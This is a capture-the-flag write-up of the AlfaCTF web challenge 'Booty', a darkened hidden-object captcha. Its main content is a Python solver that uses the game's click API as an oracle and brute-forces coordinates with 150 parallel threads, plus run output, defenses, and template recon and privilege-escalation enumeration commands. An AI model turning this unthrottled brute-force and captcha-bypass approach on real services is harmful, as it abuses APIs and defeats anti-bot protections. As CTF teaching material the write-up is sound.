Booty
Booty
Platform: Alfactf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2025-12-18 | Status: Solved Techniques: API endpoint enumeration via Swagger/OpenAPI, Coordinate bruteforce via grid search, Parallel request optimization, Response-based oracle attack
Summary
Task: Find hidden objects in a darkened captcha game with 110 objects across 3 levels. Solution: Used API click endpoint as oracle to bruteforce coordinates via grid search with 150 parallel threads.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
alfactf| ID:20251218_alfactf_booty - Tags: parallel_requests, api_abuse, game_hacking, grid_search, bruteforce, fastapi, react, captcha_bypass
- Indicators: Game with hidden object coordinates, API returns success/failure for coordinate clicks, No rate limiting on API endpoints, Coordinates not exposed in public API
- Source:
20251218_alfactf_booty.md
Foothold
Vulnerability / Misconfiguration
- API endpoint enumeration via Swagger/OpenAPI
- Coordinate bruteforce via grid search
- Parallel request optimization
- Response-based oracle attack
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- API endpoint enumeration via Swagger/OpenAPI
- Coordinate bruteforce via grid search
- Parallel request optimization
- Response-based oracle attack
- Tags: parallel_requests, api_abuse, game_hacking, grid_search, bruteforce, fastapi, react, captcha_bypass
Original Writeup
<details><summary>Click to expand original content</summary>Description
В укромном уголке острова вы находите огромный сундук, запертый необычным замком. Оказывается, пираты ненавидят роботов и готовы делиться своими богатствами только с людьми.
Поэтому чтобы заполучить клад, нужно разгадать огромную капчу: отметить все 110 объектов на изображении.
Хорошо, что вы человек — это будет нетрудно! Но почему же так плохо видно...
URL: https://booty-ow9zh37k.alfactf.ru/
Reconnaissance
Application Architecture
- Frontend: React SPA with react-router
- Routes:
/,/game,/admin-markup - Images darkened with CSS filter
filter: brightness(0.15)
- Backend: FastAPI
- Swagger UI:
/docs - OpenAPI:
/openapi.json - robots.txt:
Disallow: /(hint about "pirates hate robots")
- Game Mechanics:
- 3 levels: 30 + 40 + 40 = 110 objects
- Image size: 1200x800 pixels
- Object click_radius: 25-100 pixels
API Endpoints
POST /api/users/register - registration
POST /api/users/login - login (returns JWT)
GET /api/users/me - user info
POST /api/game/start - start game (level: 1-3)
GET /api/game/state/{id} - session state
POST /api/game/click/{id} - click on coordinates {x, y}
GET /api/game/objects - list of objects (WITHOUT coordinates!)
GET /api/game/user-session - active user session
GET /api/game/overall-progress - overall progress
POST /api/admin/objects - create object (admin only)
DELETE /api/admin/objects/{id} - delete object
Vulnerability Analysis
Key Finding
Object coordinates (x, y, click_radius) are hidden in the public API - only object names are returned. However, the /api/game/click/{session_id} endpoint works as an oracle:
- On hit within object radius:
{"success": true, "distance": N} - On miss:
{"success": false}
What Didn't Work
- SQL injection - Pydantic protection
- JWT none algorithm - doesn't work
- JWT secret bruteforce - secret not in standard wordlists
- IDOR on sessions - protected by user_id
- Register as admin - already exists
- Admin password bruteforce - not found
Solution: Grid Search Bruteforce
Without rate limiting, we can bruteforce coordinates with parallel requests:
- Register and obtain JWT token
- Start game on each level
- For each object - grid search across the image (1200x800)
- Search steps: 50 → 25 → 15 pixels (fallback on failure)
- 150 parallel threads for speed
- Cache found coordinates in JSON
Exploitation
Solver (fast_solver.py)
import requests
import time
import concurrent.futures
from threading import Lock
import json
import os
BASE_URL = "https://booty-ow9zh37k.alfactf.ru"
COORDS_FILE = "found_coords.json"
def load_coords():
if os.path.exists(COORDS_FILE):
with open(COORDS_FILE, 'r') as f:
return json.load(f)
return {}
def save_coords(coords):
with open(COORDS_FILE, 'w') as f:
json.dump(coords, f, indent=2, ensure_ascii=False)
def find_object(headers, session_id, obj_name, known_coords):
# Check cache first
if obj_name in known_coords:
x, y = known_coords[obj_name]["x"], known_coords[obj_name]["y"]
r = requests.post(f"{BASE_URL}/api/game/click/{session_id}",
json={"x": x, "y": y}, headers=headers, timeout=10)
result = r.json()
if result["success"]:
return (x, y, result)
found_result = [None]
lock = Lock()
def check_coord(x, y):
if found_result[0] is not None:
return None
try:
r = requests.post(f"{BASE_URL}/api/game/click/{session_id}",
json={"x": x, "y": y}, headers=headers, timeout=10)
result = r.json()
if result["success"]:
with lock:
if found_result[0] is None:
found_result[0] = (x, y, result)
return (x, y, result)
except:
pass
return None
# Grid search with decreasing step size
for step in [50, 25, 15]:
if found_result[0]:
break
coords = [(x, y) for y in range(0, 801, step) for x in range(0, 1201, step)]
with concurrent.futures.ThreadPoolExecutor(max_workers=150) as executor:
futures = {executor.submit(check_coord, x, y): (x, y) for x, y in coords}
for future in concurrent.futures.as_completed(futures):
if found_result[0] is not None:
executor.shutdown(wait=False, cancel_futures=True)
break
return found_result[0]
def main():
known_coords = load_coords()
print(f"Cached: {len(known_coords)}")
# Register new user
username = f"solver_{int(time.time())}"
requests.post(f"{BASE_URL}/api/users/register",
json={"username": username, "password": "p"})
r = requests.post(f"{BASE_URL}/api/users/login",
json={"username": username, "password": "p"})
token = r.json()["access_token"]
headers = {"Authorization": f"Bearer {token}"}
for level in [1, 2, 3]:
print(f"\n=== LEVEL {level} ===")
r = requests.post(f"{BASE_URL}/api/game/start",
json={"level": level}, headers=headers)
sd = r.json()
if "id" not in sd:
r = requests.get(f"{BASE_URL}/api/game/user-session?level={level}",
headers=headers)
if r.status_code == 200 and r.json():
sd = r.json()
else:
print(f"Skip: {sd.get('detail','?')}")
continue
session_id = sd["id"]
r = requests.get(f"{BASE_URL}/api/game/state/{session_id}", headers=headers)
state = r.json()
total = state["total_objects"]
found = state["found_objects"]
while found < total:
r = requests.get(f"{BASE_URL}/api/game/state/{session_id}", headers=headers)
state = r.json()
if state["is_completed"]:
print("Level completed!")
break
obj = state["current_object"]["name"]
cached = "+" if obj in known_coords else ""
print(f"[{found+1}/{total}] {obj[:25]}{cached}", end=" ", flush=True)
result = find_object(headers, session_id, obj, known_coords)
if result:
x, y, res = result
print(f"({x},{y})")
known_coords[obj] = {"x": x, "y": y, "level": level}
save_coords(known_coords)
found += 1
if res.get("game_completed"):
print("\n*** FLAG ***")
print(res.get('message'))
return
else:
print("NOT FOUND")
break
r = requests.get(f"{BASE_URL}/api/game/overall-progress", headers=headers)
p = r.json()
print(f"\nProgress: {p['total_found']}/{p['total_objects']}")
if __name__ == "__main__":
main()
Execution Result
Cached: 0
=== LEVEL 1 ===
[1/30] Череп на пиратской шляпе (700,450)
[2/30] Подставка для глобуса (50,450)
...
[30/30] Книга на верхней полке (500,175)
Level completed!
=== LEVEL 2 ===
[1/40] Камин (825,400)
...
[40/40] Погнутый обод бочки (500,550)
Level completed!
=== LEVEL 3 ===
[1/40] Крышка сундука с сокровищами (500,300)
...
[40/40] Замок решетки (1150,400)
*** FLAG ***
🏆 Вы — точно человек. А теперь ещё и богатый → alfa{REDACTED}
Solution Statistics
- Cached: 80 object coordinates
- Time per object: ~30 seconds (instant with cache)
- Total time: ~40 minutes first run
- Requests: ~50,000 (grid search across all objects)
Defense
How to protect against this attack:
- Rate limiting on
/api/game/clickendpoint - Captcha after N failed attempts
- Time delays between clicks
- Honeypot coordinates for bot detection
- Click pattern analysis (grid vs human)
Files
fast_solver.py- main solver with parallel requestsfound_coords.json- cached coordinates for 80 objectsnotes.md- solution notes
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR